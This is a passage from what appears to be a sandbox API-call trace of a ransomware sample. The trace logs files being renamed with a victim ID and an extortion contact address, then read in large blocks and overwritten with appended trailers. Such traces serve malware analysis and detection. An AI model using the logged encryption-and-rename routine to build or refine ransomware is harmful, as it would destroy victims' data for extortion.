(dwMilliseconds=0x1) [0082.368] Sleep (dwMilliseconds=0x1) [0082.421] Sleep (dwMilliseconds=0x1) [0082.537] Sleep (dwMilliseconds=0x1) [0082.592] Sleep (dwMilliseconds=0x1) [0082.633] Sleep (dwMilliseconds=0x1) [0082.688] Sleep (dwMilliseconds=0x1) [0082.725] Sleep (dwMilliseconds=0x1) [0082.779] Sleep (dwMilliseconds=0x1) [0082.819] Sleep (dwMilliseconds=0x1) [0082.873] Sleep (dwMilliseconds=0x1) [0082.913] Sleep (dwMilliseconds=0x1) [0082.971] Sleep (dwMilliseconds=0x1) [0083.013] Sleep (dwMilliseconds=0x1) [0083.058] Sleep (dwMilliseconds=0x1) [0083.100] Sleep (dwMilliseconds=0x1) [0083.154] Sleep (dwMilliseconds=0x1) [0083.197] Sleep (dwMilliseconds=0x1) [0083.246] Sleep (dwMilliseconds=0x1) [0083.290] Sleep (dwMilliseconds=0x1) [0083.341] Sleep (dwMilliseconds=0x1) [0083.382] Sleep (dwMilliseconds=0x1) [0083.439] Sleep (dwMilliseconds=0x1) [0083.700] Sleep (dwMilliseconds=0x1) [0083.754] Sleep (dwMilliseconds=0x1) [0083.799] Sleep (dwMilliseconds=0x1) [0083.916] Sleep (dwMilliseconds=0x1) [0084.009] Sleep (dwMilliseconds=0x1) [0084.089] Sleep (dwMilliseconds=0x1) [0084.205] Sleep (dwMilliseconds=0x1) [0084.340] Sleep (dwMilliseconds=0x1) [0084.741] Sleep (dwMilliseconds=0x1) [0084.807] Sleep (dwMilliseconds=0x1) [0084.880] Sleep (dwMilliseconds=0x1) [0084.957] Sleep (dwMilliseconds=0x1) [0085.049] Sleep (dwMilliseconds=0x1) [0085.122] Sleep (dwMilliseconds=0x1) [0085.181] Sleep (dwMilliseconds=0x1) [0085.343] Sleep (dwMilliseconds=0x1) [0085.393] Sleep (dwMilliseconds=0x1) [0085.733] Sleep (dwMilliseconds=0x1) [0085.834] Sleep (dwMilliseconds=0x1) [0085.960] Sleep (dwMilliseconds=0x1) [0086.080] Sleep (dwMilliseconds=0x1) [0086.190] Sleep (dwMilliseconds=0x1) [0086.234] Sleep (dwMilliseconds=0x1) [0086.296] Sleep (dwMilliseconds=0x1) [0086.349] Sleep (dwMilliseconds=0x1) [0086.591] Sleep (dwMilliseconds=0x1) [0086.894] Sleep (dwMilliseconds=0x1) [0087.094] Sleep (dwMilliseconds=0x1) [0087.469] Sleep (dwMilliseconds=0x1) [0089.108] Sleep (dwMilliseconds=0x1) [0090.329] Sleep (dwMilliseconds=0x1) [0091.723] Sleep (dwMilliseconds=0x1) [0092.895] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu", len=0x37 | out: pbstr=0x36bff7c*="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 1 [0092.895] GetProcessHeap () returned 0x630000 [0092.895] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e1118, Size=0xc0) returned 0x6ed568 [0092.895] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0092.897] CloseHandle (hObject=0x698) returned 1 [0092.898] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.899] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0092.899] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0092.899] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x42005a18, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINDOW~1.FIR")) returned 0x6d54c0 [0092.899] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0092.899] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0092.900] GetProcessHeap () returned 0x630000 [0092.900] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ec98f8 [0092.900] GetProcessHeap () returned 0x630000 [0092.900] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70d508 [0092.900] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.900] ReadFile (in: hFile=0x698, lpBuffer=0x6ec98f8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec98f8*, lpNumberOfBytesRead=0x36bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0099.965] GetProcessHeap () returned 0x630000 [0099.965] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8a78 [0099.965] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.965] WriteFile (in: hFile=0x698, lpBuffer=0x70d508*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d508*, lpNumberOfBytesWritten=0x36bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0099.966] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.966] WriteFile (in: hFile=0x698, lpBuffer=0x718907*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x718907*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0099.968] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.969] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0099.969] CloseHandle (hObject=0x698) returned 1 [0101.242] GetProcessHeap () returned 0x630000 [0101.242] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70d508 | out: hHeap=0x630000) returned 1 [0101.242] GetProcessHeap () returned 0x630000 [0101.242] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec98f8 | out: hHeap=0x630000) returned 1 [0101.243] GetProcessHeap () returned 0x630000 [0101.243] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8a78 | out: hHeap=0x630000) returned 1 [0101.243] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0101.243] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x24a61ee, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x20ad1d, dwReserved0=0xc447496, dwReserved1=0x6ec98f0, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINDOW~1.FIR")) returned 0x6d4e40 [0101.243] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0101.243] Sleep (dwMilliseconds=0x1) [0101.923] Sleep (dwMilliseconds=0x1) [0102.319] Sleep (dwMilliseconds=0x1) [0102.524] Sleep (dwMilliseconds=0x1) [0102.775] Sleep (dwMilliseconds=0x1) [0102.987] Sleep (dwMilliseconds=0x1) [0103.133] Sleep (dwMilliseconds=0x1) [0103.272] Sleep (dwMilliseconds=0x1) [0103.546] Sleep (dwMilliseconds=0x1) [0105.075] Sleep (dwMilliseconds=0x1) [0107.221] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", len=0x5a | out: pbstr=0x36bff7c*="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 1 [0107.221] GetProcessHeap () returned 0x630000 [0107.221] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0178, Size=0x14) returned 0x6b0418 [0107.221] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0107.262] CloseHandle (hObject=0x708) returned 1 [0107.262] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.263] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0107.263] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0107.263] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b19353, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4b19353, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xf, dwReserved1=0xffffffdb, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI0D33~1.FIR")) returned 0x6d5580 [0107.263] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0107.263] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0107.264] GetProcessHeap () returned 0x630000 [0107.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7277390 [0107.264] GetProcessHeap () returned 0x630000 [0107.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72827c0 [0107.265] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.265] ReadFile (in: hFile=0x708, lpBuffer=0x7277390, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7277390*, lpNumberOfBytesRead=0x36bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0113.938] GetProcessHeap () returned 0x630000 [0113.938] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feec88 [0113.939] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.939] WriteFile (in: hFile=0x708, lpBuffer=0x72827c0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72827c0*, lpNumberOfBytesWritten=0x36bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0113.939] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.939] WriteFile (in: hFile=0x708, lpBuffer=0x728dbbf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x728dbbf*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0113.939] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.939] WriteFile (in: hFile=0x708, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0113.939] CloseHandle (hObject=0x708) returned 1 [0113.941] GetProcessHeap () returned 0x630000 [0113.941] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72827c0 | out: hHeap=0x630000) returned 1 [0113.941] GetProcessHeap () returned 0x630000 [0113.941] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7277390 | out: hHeap=0x630000) returned 1 [0113.942] GetProcessHeap () returned 0x630000 [0113.942] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feec88 | out: hHeap=0x630000) returned 1 [0113.942] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0113.942] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b19353, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4b19353, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x9dcd7b8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xc447496, dwReserved1=0x7277388, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI0D33~1.FIR")) returned 0x6d5000 [0113.942] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0113.943] Sleep (dwMilliseconds=0x1) [0114.320] Sleep (dwMilliseconds=0x1) [0114.883] Sleep (dwMilliseconds=0x1) [0115.140] Sleep (dwMilliseconds=0x1) [0115.498] Sleep (dwMilliseconds=0x1) [0115.908] Sleep (dwMilliseconds=0x1) [0117.155] Sleep (dwMilliseconds=0x1) [0117.169] Sleep (dwMilliseconds=0x1) [0117.186] Sleep (dwMilliseconds=0x1) [0117.562] Sleep (dwMilliseconds=0x1) [0117.656] Sleep (dwMilliseconds=0x1) [0117.678] Sleep (dwMilliseconds=0x1) [0117.688] Sleep (dwMilliseconds=0x1) [0117.702] Sleep (dwMilliseconds=0x1) [0117.719] Sleep (dwMilliseconds=0x1) [0119.248] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt", len=0x2d | out: pbstr=0x36bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 1 [0119.248] GetProcessHeap () returned 0x630000 [0119.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x15c) returned 0x66a3e0 [0119.248] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0119.280] CloseHandle (hObject=0x6bc) returned 1 [0119.280] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.280] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0119.280] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0119.280] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.txt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="README~1.FIR")) returned 0x6d4e40 [0119.281] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0119.281] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0119.281] GetProcessHeap () returned 0x630000 [0119.281] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x41) returned 0x649f58 [0119.281] GetProcessHeap () returned 0x630000 [0119.281] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x41) returned 0x64a048 [0119.281] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.281] ReadFile (in: hFile=0x6bc, lpBuffer=0x649f58, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x649f58*, lpNumberOfBytesRead=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0119.282] GetProcessHeap () returned 0x630000 [0119.282] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0119.282] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.282] WriteFile (in: hFile=0x6bc, lpBuffer=0x64a048*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x64a048*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0119.282] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.282] WriteFile (in: hFile=0x6bc, lpBuffer=0x64a067*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x64a067*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0119.282] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.282] WriteFile (in: hFile=0x6bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0119.283] CloseHandle (hObject=0x6bc) returned 1 [0119.283] GetProcessHeap () returned 0x630000 [0119.283] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x64a048 | out: hHeap=0x630000) returned 1 [0119.283] GetProcessHeap () returned 0x630000 [0119.283] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x649f58 | out: hHeap=0x630000) returned 1 [0119.283] GetProcessHeap () returned 0x630000 [0119.283] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0119.284] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0119.284] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd0c7612, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x36bfd20, dwReserved1=0x649f58, cFileName="README.txt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="README~1.FIR")) returned 0x6d54c0 [0119.284] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0119.284] Sleep (dwMilliseconds=0x1) [0120.285] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar", len=0x44 | out: pbstr=0x36bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 1 [0120.285] GetProcessHeap () returned 0x630000 [0120.285] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x148) returned 0x66a3e0 [0120.285] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0120.285] CloseHandle (hObject=0x5e4) returned 1 [0120.285] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.286] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0120.286] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.286] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="US_export_policy.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="US_EXP~1.FIR")) returned 0x6d4f40 [0120.286] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0120.287] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 